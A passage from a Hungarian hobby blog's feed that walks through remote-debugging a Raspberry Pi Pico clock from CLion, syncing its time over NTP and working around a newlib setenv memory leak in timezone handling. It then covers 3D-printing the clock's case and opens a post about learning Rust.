<p>Annak ellenére, hogy ezt sikerült megoldani, valamiért mégsem ebbe az irányba mentem, talán azt olvastam valahol, hogy ez a driver lassabb, mint a Picoprobe, úgyhogy visszadugdostam az eredeti felállást és USB-n kötöttem rá a Pi-ra a Pico-t, így az OpenOCD a már megszokott paranccsal működött:</p>
<pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> openocd -f interface/cmsis-dap.cfg -f target/rp2040.cfg -c <span class="hljs-string">"program gfx_pack_demo.elf verify reset exit"</span></span>
</code></pre>
<h3>A munka oroszlánrésze</h3>
<p>Már csak a CLiont kell rábírni az együttműködésre. Elméletileg megvan benne a támogatás, lássuk mire megyünk vele. Először is kell neki egy SSH konfig a Pi-hoz:</p>

<p class="image image-center">
    <a href="https://deadlime.hu/uploads/2024/clion_setup_1.png">
        <img src="https://deadlime.hu/uploads/2024/clion_setup_1.png" width="660" height="406" alt="" title="" loading="lazy" />
    </a>
</p>

<p>Aztán egy remote toolchain, ami ezt az SSH kapcsolatot használja:</p>

<p class="image image-center">
    <a href="https://deadlime.hu/uploads/2024/clion_setup_2.png">
        <img src="https://deadlime.hu/uploads/2024/clion_setup_2.png" width="660" height="406" alt="" title="" loading="lazy" />
    </a>
</p>

<p>Valószínűleg érdemes egy deployment-et is beállítani, hogy a fájl másolgatás jól működjön (ennek ellenére nem fog, de erre mindjárt visszatérünk):</p>

<p class="image image-center">
    <a href="https://deadlime.hu/uploads/2024/clion_setup_3.png">
        <img src="https://deadlime.hu/uploads/2024/clion_setup_3.png" width="660" height="406" alt="" title="" loading="lazy" />
    </a>
</p>

<p class="image image-center">
    <a href="https://deadlime.hu/uploads/2024/clion_setup_4.png">
        <img src="https://deadlime.hu/uploads/2024/clion_setup_4.png" width="660" height="406" alt="" title="" loading="lazy" />
    </a>
</p>

<p>És végül egy debug konfiguráció, hogy futtatni tudjuk a kódunkat.</p>

<p class="image image-center">
    <a href="https://deadlime.hu/uploads/2024/clion_setup_5.png">
        <img src="https://deadlime.hu/uploads/2024/clion_setup_5.png" width="660" height="474" alt="" title="" loading="lazy" />
    </a>
</p>

<p>Itt van egy pár érdekesség, amiről érdemes szót ejteni. A GDB-nél a remote host-on futót választottam, így a 'target remote' args csatlakozhat localhost-ra (a gdb és az openocd is a Pi-on fut). A &quot;GDB Server args&quot; környékén régen elég volt az első kettő paraméter (interface és target beállítás), az <code>adapter speed</code> valószínűleg opcionális. A <code>program</code> pedig... hát az elég érdekes.</p>
<p>Egy ideális világban az &quot;Upload Executable&quot; rész az mondjuk &quot;If updated&quot; lenne &quot;Never&quot; helyett, de ha az be van kapcsolva, akkor a Windows-os gép elérési útján próbálná megkeresni a fájlt, ami nincs ott, mert a Pi-on generálódott <a href="https://youtrack.jetbrains.com/issue/CPP-22619/CLion-2020.3-Resync-with-Remote-Hosts-no-longer-transfers-built-ELF-files-back-to-local-computer">ELF fájlokat a CLion nem tölti le</a>.</p>
<p>Ha kikapcsolom a ticket-ben említett beállítást és nyomok egy Tools &gt; Resync with Remote Host opciót, akkor ugyan letölti az ELF fájlt, de valahogy még mindig nem kerül rá a Pico-ra. A kimenet alapján mintha elkezdené, de végül csak nem történik semmi. Vajon minek kell egyáltalán letöltenie (és aztán visszatöltenie a Pi-ra), ha minden ott van már a Pi-on? Rejtély.</p>
<p>Szóval inkább meghívom a <code>program</code>-ot kézzel, de így a <code>reset</code> miatt megszakad a debugger kapcsolata, ami a debug-olás esetén nem annyira kellemes. A vége az lett, hogy két konfigurációt csináltam, az egyik feltölteni tud (benne van a <code>program</code> rész), a másik meg csak debug-olni (nincs benne a <code>program</code> rész). Nem ideális a rendszer, de használható.</p>
<p>A konzolos kimenetet pedig a Pi-on futtatott <code>minicom -b 115200 -o -D /dev/ttyACM0</code> paranccsal tudom elérni.</p>
<h3>A pontos idő</h3>
<p>A Python-os változatban elkészült már a pontos idő beszerzése, ezt kénytelenek vagyunk megtenni most a C SDK segítségével is. A valóságban ez még a Python-os változat előtt elkészült, de ettől most tekintsünk el.</p>
<p>Először is van egy kis konfigurációs része, ami a <code>CMakeLists.txt</code>-be kerül:</p>
<pre><code class="hljs cmake"><span class="hljs-keyword">add_definitions</span>(
  -DSNTP_SERVER_DNS=<span class="hljs-number">1</span>
  -DSNTP_SERVER_ADDRESS=<span class="hljs-string">"hu.pool.ntp.org"</span>
  -DSNTP_SET_SYSTEM_TIME=sntp_set_system_time
  -DSNTP_STARTUP_DELAY=<span class="hljs-number">0</span>
)
</code></pre>
<p>Amit itt érdemes megfigyelni, hogy hivatkozunk egy C-s függvényre (<code>sntp_set_system_time</code>), amit majd meg kell valósítanunk. Szükségünk lesz ugyanott pár könyvtárra is az SDK-ból:</p>
<pre><code class="hljs cmake"><span class="hljs-keyword">target_link_libraries</span>(
  pico-clock
  hardware_rtc
  pico_cyw43_arch_lwip_threadsafe_background
  pico_lwip_sntp
  pico_stdlib
  pico_time
)
</code></pre>
<p>A korábban említett függvény, ami kezeli az NTP szervertől kapott időt:</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"hardware/rtc.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"lwip/apps/sntp.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/cyw43_arch.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/stdlib.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/time.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/util/datetime.h"</span></span>

<span class="hljs-keyword">bool</span> sntp_finished = <span class="hljs-literal">false</span>;

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">sntp_set_system_time</span><span class="hljs-params">(<span class="hljs-keyword">uint32_t</span> sec)</span> </span>{
  <span class="hljs-keyword">datetime_t</span> datetime;
  time_to_datetime(sec, &amp;datetime);

  rtc_set_datetime(&amp;datetime);

  sntp_stop();
  cyw43_arch_disable_sta_mode();

  sntp_finished = <span class="hljs-literal">true</span>;
}
</code></pre>
<p>A sikeres idő szinkronizáció után kikapcsoljuk az SNTP modult és lejövünk a wifi-ről is. Már csak el kell indítanunk mindent:</p>
<pre><code class="hljs arduino"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
  stdio_init_all();
  cyw43_arch_init_with_country(CYW43_COUNTRY_HUNGARY);
  rtc_init();

  cyw43_arch_enable_sta_mode();
  <span class="hljs-keyword">while</span> (cyw43_arch_wifi_connect_timeout_ms(<span class="hljs-string">"SSID"</span>, <span class="hljs-string">"secret"</span>, CYW43_AUTH_WPA2_AES_PSK, <span class="hljs-number">30000</span>)) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"failed to connect.\n"</span>);
  }

  sntp_setoperatingmode(SNTP_OPMODE_POLL);
  sntp_init();

  <span class="hljs-keyword">while</span> (!sntp_finished) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"waiting for time.\n"</span>);
    sleep_ms(<span class="hljs-number">100</span>);
  }

  <span class="hljs-keyword">datetime_t</span> now_utc;
  <span class="hljs-keyword">char</span> datetime_buf[<span class="hljs-number">256</span>];

  <span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
    rtc_get_datetime(&amp;now_utc);
    datetime_to_str(&amp;datetime_buf[<span class="hljs-number">0</span>], <span class="hljs-keyword">sizeof</span>(datetime_buf) / <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">char</span>), &amp;now_utc);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n"</span>, datetime_buf);
    sleep_ms(<span class="hljs-number">1000</span>);
  }
}
</code></pre>
<p>Ha minden jól megy, akkor a Pico kap internet elérést, felveszi a kapcsolatot az NTP szerverrel és a konzolon másodpercenként elkezdenek jönni az üzenetek a pontos időről:</p>
<pre class="console"><code>Tuesday 27 August 20:47:13 2024
Tuesday 27 August 20:47:14 2024
Tuesday 27 August 20:47:15 2024
...
</code></pre>
<p>Nagy bánatunkra UTC-ben, úgyhogy kell valami megoldást találnunk rá, hogy a helyi időt megkapjuk.</p>
<h3>Elidőztem az időzónákkal</h3>
<p>Nem sokat érne egy asztali óra, ha csak UTC-ben lenne képes megjeleníteni az időt. Az NTP szervertől egy unix timestamp-et kapunk, de az RTC (Real-time clock) modul már egy <code>datetime_t</code> struct-ot vár és azt is tudunk kinyerni belőle, így az idő megjelenítésénél ezzel vagyunk kénytelenek dolgozni.</p>
<p>Elméletileg az <code>mktime</code> tud csinálni strukturált dátum és idő adatból unix timestamp-et és a <code>localtime</code> pedig unix timestamp alapján tud csinálni megfelelő időzónában lévő dátum és idő <code>struct</code>-ot. A <code>pico/util/datetime.h</code> ad néhány segédfüggvényt is, a későbbiekben ezeket fogjuk használni, de belül itt is az <code>mktime</code> és a <code>localtime</code> fut. A <code>datetime_to_time</code> egy <code>datetime_t</code>-ből csinál unix timestamp-et, a <code>time_to_datetime</code> pedig unix timestamp-ből csinál helyi időt (egy <code>datetime_t</code>-ben).</p>
<p>De van egy kis csavar. Mindkét irány helyi idővel dolgozik és meg kell tudnunk mondani az egyiknek, hogy UTC-ből dolgozzon, a másiknak pedig, hogy milyen időzónában vagyunk éppen. De hogyan is lehetne ezt beállítani?</p>
<p>Az egyetlen ötletem, amin el tudtam indulni az volt, hogy van a <code>tzdata</code> csomag, ami időzóna adatokat tartalmaz, hátha ott valamiből ki tudok indulni, mondjuk egy időzóna fájl tartalmát valahogy feljuttatni a Pico-ra. Nem ez vezetett a megoldáshoz, de megtudtam, hogy az időzóna meghatározásához használt pl. <code>Europe/Budapest</code> megnevezések tényleges fájlok a <code>/usr/share/zoneinfo</code> könyvtárban.</p>
<p>Összefutottam a leírásokban a <code>TZ</code> nevezetű környezeti változóval is, aminek az értéke lehet mondjuk <code>Europe/Budapest</code>, amiről most már tudjuk, hogy igazából a <code>/usr/share/zoneinfo/Europe/Budapest</code> fájl, amivel nem vagyunk előrébb.</p>
<p>Némi utánajárás után <a href="https://sourceware.org/glibc/manual/2.42/html_node/TZ-Variable.html">egy leírás</a> alapján az is kiderült, hogy a <code>TZ</code> nem csak elérési utakat tartalmazhat, hanem egy az egyben időzóna definíciót is. A <code>Europe/Budapest</code> definíciója valahogy így néz ki a fenti leírás és a <a href="https://en.wikipedia.org/wiki/Daylight_saving_time_by_country">Wikipédia ide vonatkozó adatai</a> alapján:</p>
<pre><code>TZ=CET-1CEST,M3.5.0/2,M10.5.0/3
</code></pre>
<p>Az alap időzónánk a <code>CET</code>, amiből 1-et kell levonnunk, hogy megkapjuk az <code>UTC</code>-t. A nyári időszámításunk a <code>CEST</code>. A nyári időszámítás kezdete március utolsó vasárnapja (<code>M3.5.0</code>), hajnal 1 óra <code>UTC</code> szerint, ami a 2 órát jelenti <code>CET</code>-ben (mivel ebben a formátumban a helyi idő szerint kell megadnunk az órát). A nyári időszámítás vége október utolsó vasárnapja (<code>M10.5.0</code>), szintén hajnal 1 óra <code>UTC</code> szerint, ami 3 óra a <code>CEST</code> szerint.</p>
<p>Ha jól értem a dolgokat, akkor a fájl annyival tudna többet, hogy nem csak az aktuális szabály van benne, hanem visszamenőleg megvannak a régi szabályok is (vagy előremenőleg, ha valami szabály módosulás lesz a jövőben). Ha futtatunk mondjuk egy <code>zdump -v Europe/Budapest | less</code> parancsot, akkor látszik, hogy például 1916-ban még április utolsó vasárnapján este 11 órakor volt a nyári időszámításra váltás.</p>
<p>Így most már az RTC modultól kapott időt a megfelelő időzónára tudjuk alakítani, csak a <code>TZ</code> értéke legyen megfelelő az <code>datetime_to_time</code> és a <code>time_to_datetime</code> hívása előtt.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">datetime_t</span> now_utc;
<span class="hljs-keyword">datetime_t</span> now_local_time;
<span class="hljs-keyword">char</span> datetime_buf[<span class="hljs-number">256</span>];

<span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
  rtc_get_datetime(&amp;now_utc);

  setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"UTC"</span>, <span class="hljs-number">1</span>);
  <span class="hljs-keyword">time_t</span> timestamp;
  datetime_to_time(&amp;now_utc, &amp;timestamp);

  setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"CET-1CEST,M3.5.0/2,M10.5.0/3"</span>, <span class="hljs-number">1</span>);
  time_to_datetime(timestamp, &amp;now_local_time);

  datetime_to_str(&amp;datetime_buf[<span class="hljs-number">0</span>], <span class="hljs-keyword">sizeof</span>(datetime_buf) / <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">char</span>), &amp;now_utc);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"utc time:   %s\n"</span>, datetime_buf);
  datetime_to_str(&amp;datetime_buf[<span class="hljs-number">0</span>], <span class="hljs-keyword">sizeof</span>(datetime_buf) / <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">char</span>), &amp;now_local_time);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"local time: %s\n"</span>, datetime_buf);

  sleep_ms(<span class="hljs-number">1000</span>);
}
</code></pre>
<p>Minden jónak tűnik... az első futásnál.</p>
<pre class="console"><code>utc time:   Tuesday 27 August 21:02:03 2024
local time: Tuesday 27 August 23:02:03 2024
utc time:   Tuesday 27 August 21:02:04 2024
local time: Tuesday 27 August 21:02:04 2024
utc time:   Tuesday 27 August 21:02:05 2024
local time: Tuesday 27 August 21:02:05 2024
</code></pre>
<p>De csak az elsőnél, aztán gyorsan félremennek a dolgok. Mintha a két függvény valahogy egymás lábára lépne és elállítódnának a dolgok. Jó ideig nézegettem különböző implementációit a függvényeknek, de nem lettem tőle okosabb. Végül azzal a félmegoldással mentem, hogy <a href="https://github.com/torvalds/linux/blob/v6.10/kernel/time/time.c#L449">a kernel kódjából</a> hoztam el egy <code>mktime</code> implementációt, ami nem foglalkozik időzónákkal, így már működtek a dolgok.</p>
<p>Az igazi megvilágosodás akkor ért, amikor már ezt a bejegyzést írtam és újra elolvastam a <code>TZ</code> dokumentációját. Lehet, hogy csak az kell neki, hogy mennyi a különbség az UTC-hez képest még akkor is, ha UTC-t szeretnénk? Ez szerencsére megoldotta a problémát, a <code>setenv(&quot;TZ&quot;, &quot;UTC&quot;, 1)</code>-et át kellett írni <code>setenv(&quot;TZ&quot;, &quot;UTC+0&quot;, 1)</code>-ra. A sima <code>UTC</code> talán a <code>/usr/share/zoneinfo/UTC</code> fájlra vonatkozna, ami nekünk ugye itt nincs kéznél.</p>
<pre class="console"><code>utc time:   Tuesday 27 August 21:08:56 2024
local time: Tuesday 27 August 23:08:56 2024
utc time:   Tuesday 27 August 21:08:57 2024
local time: Tuesday 27 August 23:08:57 2024
utc time:   Tuesday 27 August 21:08:58 2024
local time: Tuesday 27 August 23:08:58 2024
...
</code></pre>
<p>Minden szépen és jól működött, de úgy 10 perc után az óra ismét az UTC-s időt mutatta. Ezen a ponton azért már erősen megkérdőjelezhető, hogy vajon tényleg ez-e nekem a szórakozás.</p>
<p>Belevetettem magam a debug-olásba, de egy ponton túl már csak assembly kódot mutatott a CLion, valahonnan össze kellene szedni a forrást. Némi kutakodás után megtaláltam, hogy a <a href="https://sourceware.org/newlib/">Newlib</a> nevezetű C könyvtárból jön többek között az <code>mktime</code> és a <code>localtime</code> is.</p>
<p>A Pi-on egy <code>sudo apt install newlib-source</code> parancs kiadásával megkaptam a forrást a <code>/usr/src/newlib/newlib-3.3.0.tar.xz</code> fájlban, amit aztán már be tudtam adni a CLion-nak. A dolgok mélyén végül azt találtam, hogy amikor a <code>localtime</code> megpróbálja betölteni a <code>TZ</code> környezeti változó értékét, akkor nem talál ott semmit. Ez elirányított a <code>setenv</code> irányába, ami nyilvánvalóan meg volt hívva ugyan, de a hatezredik futás környékén mintha már nem tette volna a dolgát.</p>
<p>Hosszas kutakodás után ennél a résznél kötöttem ki:</p>
<pre><code class="hljs arduino">  <span class="hljs-keyword">if</span> (!((*p_environ)[offset] =  <span class="hljs-comment">/* name + `=' + value */</span>
  _malloc_r (reent_ptr, (<span class="hljs-keyword">size_t</span>) ((<span class="hljs-keyword">int</span>) (C - name) + l_value + <span class="hljs-number">2</span>))))
    {
      ENV_UNLOCK;
      <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;
    }
</code></pre>
<p>Le is ellenőriztem, a <code>setenv</code> hívás tényleg <code>-1</code>-et adott vissza, és bár nem vagyok egy C mágus, de a <code>malloc</code>-ból arra a következtetésre jutottam, hogy azért, mert elfogyott a memória. Készítettem egy rövid kis programot, hogy kipróbáljam:</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">int</span> counter = <span class="hljs-number">0</span>;
<span class="hljs-keyword">int</span> res;
<span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
  res = setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"UTC+0"</span>, <span class="hljs-number">1</span>);
  <span class="hljs-keyword">if</span> (res == <span class="hljs-number">-1</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"baj van: %d\n"</span>, counter);
    <span class="hljs-keyword">break</span>;
  }

  res = setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"CET-1CEST,M3.5.0/2,M10.5.0/3"</span>, <span class="hljs-number">1</span>);
  <span class="hljs-keyword">if</span> (res == <span class="hljs-number">-1</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"baj van: %d\n"</span>, counter);
    <span class="hljs-keyword">break</span>;
  }
  ++counter;
}
</code></pre>
<p>Ahogy azt sejteni lehetett, meg is kaptam a várt üzenetet:</p>
<pre class="console"><code>baj van: 5217
</code></pre>
<p>Hiába nézegettem annyit az <code>mktime</code>-ot és a <code>localtime</code>-ot, a hiba végig a <code>setenv</code>-ben volt. Ha <a href="https://sourceware.org/git/?p=newlib-cygwin.git;a=blob;f=newlib/libc/stdlib/setenv_r.c;h=84d87a6ed2da72fe1a7ef1cf82a23518fb5f2220;hb=HEAD#l50">megnézzük a környező kódot</a>, látszik, hogy ha az új környezeti változó értéke hosszabb, mint a régi érték volt, akkor új memóriaterületet foglal le neki, amit úgy tűnik nem szabadít fel senki se. A mi ciklusunk meg nagyjából másról se szól, mint hosszabb értékek beállításáról. Viszont ebből az következik, hogy ha ugyanolyan hosszúak, akkor nem lesz semmi baj, ugye? Feltöltöttem hát szóközökkel a rövidebbet.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">int</span> counter = <span class="hljs-number">0</span>;
<span class="hljs-keyword">int</span> res;
<span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
  res = setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"UTC+0                       "</span>, <span class="hljs-number">1</span>);
  <span class="hljs-keyword">if</span> (res == <span class="hljs-number">-1</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"baj van: %d\n"</span>, counter);
    <span class="hljs-keyword">break</span>;
  }

  res = setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"CET-1CEST,M3.5.0/2,M10.5.0/3"</span>, <span class="hljs-number">1</span>);
  <span class="hljs-keyword">if</span> (res == <span class="hljs-number">-1</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"baj van: %d\n"</span>, counter);
    <span class="hljs-keyword">break</span>;
  }
  ++counter;
}
</code></pre>
<p>Tény és való, ez már nem írja ki azt, hogy &quot;baj van&quot;, megoldódott a probléma, visszarakom a kódba az idő konvertálgatást is, hogy lássam egyben működni...</p>
<pre class="console"><code>utc time:   Tuesday 27 August 21:38:21 2024
local time: Tuesday 27 August 22:38:21 2024
utc time:   Tuesday 27 August 21:38:22 2024
local time: Tuesday 27 August 22:38:22 2024
utc time:   Tuesday 27 August 21:38:23 2024
local time: Tuesday 27 August 22:38:23 2024
...
</code></pre>
<p>Ez új. Valahogy elveszett egy óra. De nem estem kétségbe, ezen a ponton már elég rutint szedtem magamra, hogy sejtsem, a sok extra szóköz miatt nem tudja értelmezni rendesen az <code>mktime</code> a <code>TZ</code> értékét. Raktam egy extra vesszőt az <code>UTC+0</code> után, hátha az meglágyítja a parser kő szívét...</p>
<pre><code class="hljs arduino">setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"UTC+0,                      "</span>, <span class="hljs-number">1</span>);
</code></pre>
<p>...és meglepő módon bevált:</p>
<pre class="console"><code>utc time:   Tuesday 27 August 21:39:22 2024
local time: Tuesday 27 August 23:39:22 2024
utc time:   Tuesday 27 August 21:39:23 2024
local time: Tuesday 27 August 23:39:23 2024
utc time:   Tuesday 27 August 21:39:24 2024
local time: Tuesday 27 August 23:39:24 2024
...
</code></pre>
<p>Sikerült. Több napnyi <del>szenvedés</del> móka és kacagás után végül elértük, hogy a Pico óra a megfelelő helyi időt mutatja. Remélhetőleg a téli és nyári időszámítás közötti váltást is jól fogja kezelni. Majd október utolsó vasárnapján kiderül. Addigra remélhetőleg már az LCD kijelzőre is fogunk valamit rajzolni.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Dobozba zárt idő</title>
            <link>https://deadlime.hu/2024/07/28/dobozba-zart-ido/</link>
            <pubDate>Sun, 28 Jul 2024 17:08:23 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[3D nyomtatás]]></category>
                    <category><![CDATA[Blender]]></category>
                    <category><![CDATA[hardver]]></category>
                    
            <guid isPermaLink="false">5227e0fa6ac2c50bca1d5ea3cec1ccea</guid>
            <description>Burkolat tervezés egy Raspberry Pi Pico-alapú asztali órához</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/3d_printing.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Hogy képes voltam-e csak a szóvicc kedvéért ezt kinyomtatni? Talán...</p>

<p>Régóta gondolkodtam már egy 3D nyomtató beszerzésén, de valami végfelhasználói élményhez közelebb álló darabra vágytam, mint egy 2D nyomtató esetén. Nem a 3D nyomtató építést, mint hobbit akartam elkezdeni, csak nyomtatni szeretnék.</p>
<p>Aztán felfedeztem a Bambu Lab nyomtatóit, amik pont ilyen gépeknek tűntek. Az A1 és P1 vonal között gondolkodtam sokáig, végül az A1 mellett döntöttem (az AMS lite nélkül), gondolván, hogy első nyomtatónak az olcsóbb is megteszi. A fő különbségnek az tűnt, hogy az A1 nem tud üzembiztosan ABS-t nyomtatni, de egyelőre nem érzem úgy, hogy ez zavarna.</p>
<p>Nyilván, amikor megérkezett minden hülyeséget kinyomtattam, amit csak le lehetett tölteni az Internetről, de az egyik indok, amivel meggyőztem magamat, hogy erre nekem szükségem lehet, az az volt, hogy a kis hardveres projektjeimhez tudok majd alkatrészeket nyomtatni. Az egyik ilyen projekt a <a href="https://deadlime.hu/2023/12/28/nincs-meg-itt-az-ido/">Pico alapú óra</a>, ami szoftveresen azóta se sokat fejlődött, de most már van egy kezdetleges doboza is. Nézzük is meg hogyan készült.</p>
<h3>Tervezés</h3>
<p>Rendelkezem némi Blender tudással, úgyhogy abban álltam neki összerakni a dobozt, de valószínűleg jobban jártam volna, ha elkezdek inkább kitanulni valami CAD szoftvert. Nem lehetetlen Blender-ben ilyen dolgokat csinálni, de nem erre lett kitalálva.</p>

<p class="image image-center">
    <a href="https://deadlime.hu/uploads/2024/blender_full.jpg">
        <img src="https://deadlime.hu/uploads/2024/blender_small.jpg" width="660" height="660" alt="" title="" loading="lazy" />
    </a>
</p>
<p class="image-caption">Katt a teljes változatért!</p>

<p>Előtúrtam még a fiókból egy régi digitális tolómérőt, aminek a digitális része már nem volt hajlandó működni (szerencsére analóg tolómérőként még funkcionált), úgyhogy nem tudtam elég pontosan lemérni a dolgokat.</p>
<h3>Kivitelezés</h3>
<p>Először a kijelző köré nyomtattam egy keretet... aztán még egy párat, a fent említett mérési hiányosságok miatt.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box1.jpg" width="660" height="720" alt="" title="" loading="lazy" />
</p>

<p>Szabad szemmel nem is igazán látszanak különbségek, tized-millimétereket módosítgattam míg végül meg nem kaptam a pontosan illeszkedő darabot.</p>
<p>A következő lépés a gombok elhelyezése volt. Először arra gondoltam, hogy a kinyomtatott tok része lesz, de túl kicsik voltak hozzá a gombok és a PLA sem bizonyult alkalmasnak az ilyen jellegű felhasználásra.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box2.jpg" width="660" height="630" alt="" title="" loading="lazy" />
</p>

<p>Miután a gombok a helyükre kerültek (azokból is készült vagy 3-4 változat, mire megfelelően belepasszoltak a lyukakba), lett egy nagyjából késznek mondható elülső elemem, amibe tökéletesen illeszkedik az óra.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box3.jpg" width="660" height="660" alt="" title="" loading="lazy" />
</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box4.jpg" width="660" height="660" alt="" title="" loading="lazy" />
</p>

<p>Jöhet a hátulsó rész. Itt a csavaroknak szánt lyukakkal gyűlt meg a bajom, nem is egyszer.</p>
<p>Az elülső részbe menetes betéteket terveztem rakni, a hátulsó részen csak átmentek volna a csavarok, de nem érkezett meg időben a csomag, így végül olyan lyukak lettek, amikbe a kis M2-es csavarok menetet tudnak vágni maguknak. Első változatnak ez is megteszi.</p>
<p>A másik probléma a lyukak pozíciója volt, ugyanott kellett lenniük, mint a PCB sarkain lévő lyukaknak, hogy össze lehessen végül csavarozni a két részt.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box5.jpg" width="660" height="630" alt="" title="" loading="lazy" />
</p>

<p>Ugyanaz a móka, mint a kijelző kereténél, de itt vagy fél milliméterrel lőttem mellé az első tippel. A végén a sarkokból is le kellett vágnom még egy kicsit, mert túl magas volt ahhoz a hátulsó rész, hogy a leghosszabb csavarom átérje.</p>
<p>Ez után következett az USB helye. Ehhez a hátulsó rész egyik oldalát nyomtattam csak ki újra meg újra, amíg el nem találtam a pontos pozíciót.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box6.jpg" width="660" height="1200" alt="" title="" loading="lazy" />
</p>

<p>Az első változat után a részletekből is visszavettem, hogy csökkentsem a nyomtatási időt.</p>
<p>És el is érkeztünk az első változathoz. Nem túl dizájnos, de minden méret a helyén van, a következő változatokban lehet rajta majd szépíteni, ha még képes leszek kiigazodni a Blender-es modellen.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box7.jpg" width="660" height="330" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Bár a képen nem látszik, de az USB alatt van egy kis lyuk, amin keresztül el lehet érni a <a href="https://shop.pimoroni.com/products/pico-lipo-shim">LiPo SHIM</a> ki-be kapcsoló gombját is.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box8.jpg" width="660" height="570" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">A gombok kaptak kis feliratokat, amivel a 0,4 mm-es nyomtatófej nem tudott olyan szépen megbírkózni.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box9.jpg" width="660" height="600" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">A jól ismert retró háttérvilágítás és a tavalyi kamu interfész.</p>

<p>Összességében remek móka a 3D nyomtatás, amit utólag lehet, hogy másképp csinálnék az az, hogy nem kezdenék neki működő digitális tolómérő nélkül, hogy kevesebb műanyag szemét termelődjön a projekt során. És megpróbálnám rávenni magam, hogy közelebbről tanulmányozzam valamelyik CAD szoftvert.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Gépekkel suttogó</title>
            <link>https://deadlime.hu/2024/02/29/gepekkel-suttogo/</link>
            <pubDate>Thu, 29 Feb 2024 19:05:30 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[programozás]]></category>
                    <category><![CDATA[Rust]]></category>
                    
            <guid isPermaLink="false">378a826986918adb519cca14f3a34294</guid>
            <description>A berozsdásodott agytekervények átmozgatása egy kis Rust-tal</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/robots.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Beszélgessünk egy kicsit a nyelvtanulásról. No nem azoknak a fura nyelveknek a tanulásáról, amit a humanoidok egymás között használnak, hanem inkább a programozási nyelvek tanulásáról.</p>
<p>Egy ideje nézegetem már a Rust-ot, úgyhogy amikor olvastam egy játék fejlesztői blogján, hogy Rust-ban írták, ismét elkezdtem egy kicsit jobban utánanézni. Olvasgattam milyen játék motorok vannak Rust-hoz, ki is próbáltam néhány példakódot, de tisztában vagyok a (fejlesztői, de még inkább grafikusi) korlátaimmal, nem kezdenék neki egy játék fejlesztésének, főleg nem egy olyan nyelven, amit még nem is ismerek rendesen.</p>
<p>Úgyhogy inkább ismerősebb vizekre eveztem és megnéztem, hogy milyen webes keretrendszerek vannak, egész sokáig el is jutottam a leírásában <a href="https://rocket.rs/">az egyik szimpatikusabb darabnak</a>, amikor kezdett már problémát jelenteni a példakódok maradéktalan értelmezése. Lehet, hogy nem ártana egy kis alapozás.</p>
<p>Manapság az Internet már teli van mindenféle online kurzusokkal, videóanyagokkal, de én a tradicionálisabb megoldások híve vagyok, úgyhogy a <a href="https://doc.rust-lang.org/book/">hivatalos Rust könyvnek</a> estem neki. Nagyjából a feléig jutottam, amikor már nagyon kezdtem unni, hogy csak olvasok és nem pedig programozok.</p>
